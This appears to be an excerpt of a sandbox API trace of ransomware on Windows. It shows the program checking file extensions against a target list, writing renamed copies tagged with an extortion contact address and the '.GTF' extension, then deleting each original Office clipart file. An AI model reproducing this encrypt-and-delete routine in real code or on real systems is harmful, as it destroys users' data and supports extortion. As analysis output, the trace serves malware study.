	[0166.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0166.015] lstrlenW (lpString=".zip") returned 4
	[0166.015] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.015] lstrlenW (lpString=".rar") returned 4
	[0166.015] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.015] lstrlenW (lpString=".bz2") returned 4
	[0166.015] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.015] lstrlenW (lpString=".7z") returned 3
	[0166.015] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0166.015] lstrlenW (lpString=".dbf") returned 4
	[0166.015] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0166.015] lstrlenW (lpString=".1cd") returned 4
	[0166.015] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105588.WMF") returned 68
	[0166.015] lstrlenW (lpString=".jpg") returned 4
	[0166.015] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.015] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0166.015] lstrlenW (lpString="J0105974.WMF") returned 12
	[0166.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0166.016] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=4612) returned 1
	[0166.016] CloseHandle (hObject=0x508) returned 1
	[0166.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 0x220
	[0166.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0166.017] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.017] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0166.017] GetLastError () returned 0x0
	[0166.017] ReadFile (in: hFile=0x508, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x1204, lpOverlapped=0x0) returned 1
	[0166.020] WriteFile (in: hFile=0x55c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1210, lpOverlapped=0x0) returned 1
	[0166.021] ReadFile (in: hFile=0x508, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.021] WriteFile (in: hFile=0x55c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.021] SetEndOfFile (hFile=0x55c) returned 1
	[0166.021] CloseHandle (hObject=0x55c) returned 1
	[0166.021] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.021] SetEndOfFile (hFile=0x508) returned 1
	[0166.023] CloseHandle (hObject=0x508) returned 1
	[0166.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0166.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 1
	[0166.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0166.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0166.024] lstrlenW (lpString=".doc") returned 4
	[0166.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.025] lstrlenW (lpString=".docx") returned 5
	[0166.025] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0166.025] lstrlenW (lpString=".pdf") returned 4
	[0166.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.025] lstrlenW (lpString=".xls") returned 4
	[0166.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.025] lstrlenW (lpString=".xlsx") returned 5
	[0166.025] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0166.025] lstrlenW (lpString=".ppt") returned 4
	[0166.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0166.025] lstrlenW (lpString=".zip") returned 4
	[0166.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.025] lstrlenW (lpString=".rar") returned 4
	[0166.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.025] lstrlenW (lpString=".bz2") returned 4
	[0166.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.025] lstrlenW (lpString=".7z") returned 3
	[0166.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0166.025] lstrlenW (lpString=".dbf") returned 4
	[0166.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0166.025] lstrlenW (lpString=".1cd") returned 4
	[0166.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0166.025] lstrlenW (lpString=".jpg") returned 4
	[0166.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0166.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0166.025] lstrlenW (lpString=".doc") returned 4
	[0166.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.025] lstrlenW (lpString=".docx") returned 5
	[0166.025] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0166.026] lstrlenW (lpString=".pdf") returned 4
	[0166.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.026] lstrlenW (lpString=".xls") returned 4
	[0166.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.026] lstrlenW (lpString=".xlsx") returned 5
	[0166.026] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0166.026] lstrlenW (lpString=".ppt") returned 4
	[0166.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0166.026] lstrlenW (lpString=".zip") returned 4
	[0166.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.026] lstrlenW (lpString=".rar") returned 4
	[0166.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.026] lstrlenW (lpString=".bz2") returned 4
	[0166.026] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.026] lstrlenW (lpString=".7z") returned 3
	[0166.026] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0166.026] lstrlenW (lpString=".dbf") returned 4
	[0166.026] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0166.026] lstrlenW (lpString=".1cd") returned 4
	[0166.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68
	[0166.026] lstrlenW (lpString=".jpg") returned 4
	[0166.026] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.026] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0166.026] lstrlenW (lpString="J0106020.WMF") returned 12
	[0166.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0166.027] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=10060) returned 1
	[0166.027] CloseHandle (hObject=0x508) returned 1
	[0166.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 0x220
	[0166.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0166.027] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.028] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0166.029] GetLastError () returned 0x0
	[0166.029] ReadFile (in: hFile=0x508, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x274c, lpOverlapped=0x0) returned 1
	[0166.031] WriteFile (in: hFile=0x55c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x2750, lpOverlapped=0x0) returned 1
	[0166.032] ReadFile (in: hFile=0x508, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.032] WriteFile (in: hFile=0x55c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.032] SetEndOfFile (hFile=0x55c) returned 1
	[0166.032] CloseHandle (hObject=0x55c) returned 1
	[0166.032] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.033] SetEndOfFile (hFile=0x508) returned 1
	[0166.036] CloseHandle (hObject=0x508) returned 1
	[0166.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0166.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 1
	[0166.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0166.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0166.037] lstrlenW (lpString=".doc") returned 4
	[0166.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.037] lstrlenW (lpString=".docx") returned 5
	[0166.037] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0166.037] lstrlenW (lpString=".pdf") returned 4
	[0166.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.037] lstrlenW (lpString=".xls") returned 4
	[0166.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.037] lstrlenW (lpString=".xlsx") returned 5
	[0166.037] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0166.037] lstrlenW (lpString=".ppt") returned 4
	[0166.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0166.037] lstrlenW (lpString=".zip") returned 4
	[0166.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.037] lstrlenW (lpString=".rar") returned 4
	[0166.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.037] lstrlenW (lpString=".bz2") returned 4
	[0166.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.037] lstrlenW (lpString=".7z") returned 3
	[0166.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0166.037] lstrlenW (lpString=".dbf") returned 4
	[0166.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0166.037] lstrlenW (lpString=".1cd") returned 4
	[0166.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0166.037] lstrlenW (lpString=".jpg") returned 4
	[0166.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0166.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0166.038] lstrlenW (lpString=".doc") returned 4
	[0166.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0166.038] lstrlenW (lpString=".docx") returned 5
	[0166.038] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0166.038] lstrlenW (lpString=".pdf") returned 4
	[0166.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0166.038] lstrlenW (lpString=".xls") returned 4
	[0166.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0166.038] lstrlenW (lpString=".xlsx") returned 5
	[0166.038] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0166.038] lstrlenW (lpString=".ppt") returned 4
	[0166.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0166.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0166.038] lstrlenW (lpString=".zip") returned 4
	[0166.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0166.038] lstrlenW (lpString=".rar") returned 4
	[0166.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0166.038] lstrlenW (lpString=".bz2") returned 4
	[0166.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0166.038] lstrlenW (lpString=".7z") returned 3
	[0166.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0166.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0166.038] lstrlenW (lpString=".dbf") returned 4
	[0166.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0166.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0166.038] lstrlenW (lpString=".1cd") returned 4
	[0166.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0166.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF") returned 68
	[0166.038] lstrlenW (lpString=".jpg") returned 4
	[0166.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0166.038] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0166.039] lstrlenW (lpString="J0106124.WMF") returned 12
	[0166.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0166.039] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=5812) returned 1
	[0166.039] CloseHandle (hObject=0x508) returned 1
	[0166.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 0x220
	[0166.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0166.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0166.040] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.040] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0166.040] GetLastError () returned 0x0
	[0166.040] ReadFile (in: hFile=0x508, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x16b4, lpOverlapped=0x0) returned 1
	[0166.356] WriteFile (in: hFile=0x55c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x16c0, lpOverlapped=0x0) returned 1
	[0166.357] ReadFile (in: hFile=0x508, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0166.357] WriteFile (in: hFile=0x55c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0166.358] SetEndOfFile (hFile=0x55c) returned 1
	[0166.358] CloseHandle (hObject=0x55c) returned 1
	[0166.358] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0166.358] SetEndOfFile (hFile=0x508) returned 1
	[0166.360] CloseHandle (hObject=0x508) returned 1
	[0166.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0166.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 1
	[0167.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0167.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0167.925] lstrlenW (lpString=".doc") returned 4
	[0167.925] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.925] lstrlenW (lpString=".docx") returned 5
	[0167.925] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0167.925] lstrlenW (lpString=".pdf") returned 4
	[0167.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.926] lstrlenW (lpString=".xls") returned 4
	[0167.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.926] lstrlenW (lpString=".xlsx") returned 5
	[0167.926] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0167.926] lstrlenW (lpString=".ppt") returned 4
	[0167.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0167.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0167.926] lstrlenW (lpString=".zip") returned 4
	[0167.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0167.926] lstrlenW (lpString=".rar") returned 4
	[0167.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0167.926] lstrlenW (lpString=".bz2") returned 4
	[0167.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0167.926] lstrlenW (lpString=".7z") returned 3
	[0167.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0167.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0167.926] lstrlenW (lpString=".dbf") returned 4
	[0167.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0167.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0167.926] lstrlenW (lpString=".1cd") returned 4
	[0167.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0167.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0167.926] lstrlenW (lpString=".jpg") returned 4
	[0167.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0167.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0167.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68
	[0167.926] lstrlenW (lpString=".doc") returned 4
	[0167.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0167.926] lstrlenW (lpString=".docx") returned 5
	[0167.926] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0167.926] lstrlenW (lpString=".pdf") returned 4
	[0167.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0167.927] lstrlenW (lpString=".xls") returned 4
	[0167.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0167.927] lstrlenW (lpString=".xlsx") returned 5
	[0167.927] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0167.927] lstrlenW (lpString=".ppt") returned 4
	[0167.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
